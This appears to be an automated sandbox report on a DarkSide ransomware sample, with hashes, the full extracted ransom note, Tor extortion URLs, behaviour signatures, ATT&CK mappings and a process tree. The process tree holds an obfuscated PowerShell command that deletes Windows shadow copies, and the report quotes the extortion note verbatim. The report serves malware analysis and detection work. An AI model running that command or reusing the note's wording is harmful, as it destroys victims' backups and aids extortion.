Analysis

  • max time kernel
    137s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    26-07-2021 12:39

General

  • Target

    9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe

  • Size

    17KB

  • MD5

    f87a2e1c3d148a67eaeb696b1ab69133

  • SHA1

    d1dfe82775c1d698dd7861d6dfa1352a74551d35

  • SHA256

    9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297

  • SHA512

    e361811b07a66d9a784be37bdace0bdec9e11374083d7ccf7d9830e47a59afa8b9d12d80d4d47ea1932116354ad60bbc8ea6a6a265885d264b35486986415ea3

Malware Config

Extracted

Path

C:\\README.efaa031a.TXT

Family

darkside

Ransom Note
----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
    "C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe"
    1⤵
    • Modifies extensions of user files
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:752
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1832
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1640

Network

MITRE ATT&CK Matrix ATT&CK v6

Credential Access

Credentials in Files

1
T1081

Collection

Data from Local System

1
T1005

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    1f8db64be6c37e59515420a11c6befba

    SHA1

    eb9e3cfd05f3d0552f7fe70dfd0e651721ec8a85

    SHA256

    699ee64cf0eb24f8666597759b5a0e7fb6cf727c4e6d109e1c26b1f6bcf477ea

    SHA512

    829bc83ff956f278c4846ec5e0c90a4715a245fa98dab6beeafebef8e56b3f3a2cac2a973215d984cb8a5f97226c8bd4ce5289bae2deb701883df5fbee363557

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    MD5

    c0dec4e1374490ca8e2ccac7538f4219

    SHA1

    b5ce5ff867d52f5d7533c167a01afad66d908d10

    SHA256

    acb51894e8438d8d0f61901edb4941ae33b1b7ae11e6f5356b4fde090adabd54

    SHA512

    6e748addcef4ae4ea3f9073775135c4be9bba8a5de60be89100ec5ce103ed5d2d67174b4e0acd1b1f31359eedae8df5240e1d79d4958be0e6d4f8e5cae5c46ca

  • memory/752-60-0x00000000750C1000-0x00000000750C3000-memory.dmp
    Filesize

    8KB

  • memory/1832-66-0x000000001AAC0000-0x000000001AAC2000-memory.dmp
    Filesize

    8KB

  • memory/1832-64-0x000000001AB40000-0x000000001AB41000-memory.dmp
    Filesize

    4KB

  • memory/1832-65-0x00000000024B0000-0x00000000024B1000-memory.dmp
    Filesize

    4KB

  • memory/1832-63-0x00000000020A0000-0x00000000020A1000-memory.dmp
    Filesize

    4KB

  • memory/1832-67-0x000000001AAC4000-0x000000001AAC6000-memory.dmp
    Filesize

    8KB

  • memory/1832-68-0x00000000024E0000-0x00000000024E1000-memory.dmp
    Filesize

    4KB

  • memory/1832-69-0x000000001C480000-0x000000001C481000-memory.dmp
    Filesize

    4KB

  • memory/1832-70-0x000000001C620000-0x000000001C621000-memory.dmp
    Filesize

    4KB

  • memory/1832-62-0x000007FEFB701000-0x000007FEFB703000-memory.dmp
    Filesize

    8KB

  • memory/1832-61-0x0000000000000000-mapping.dmp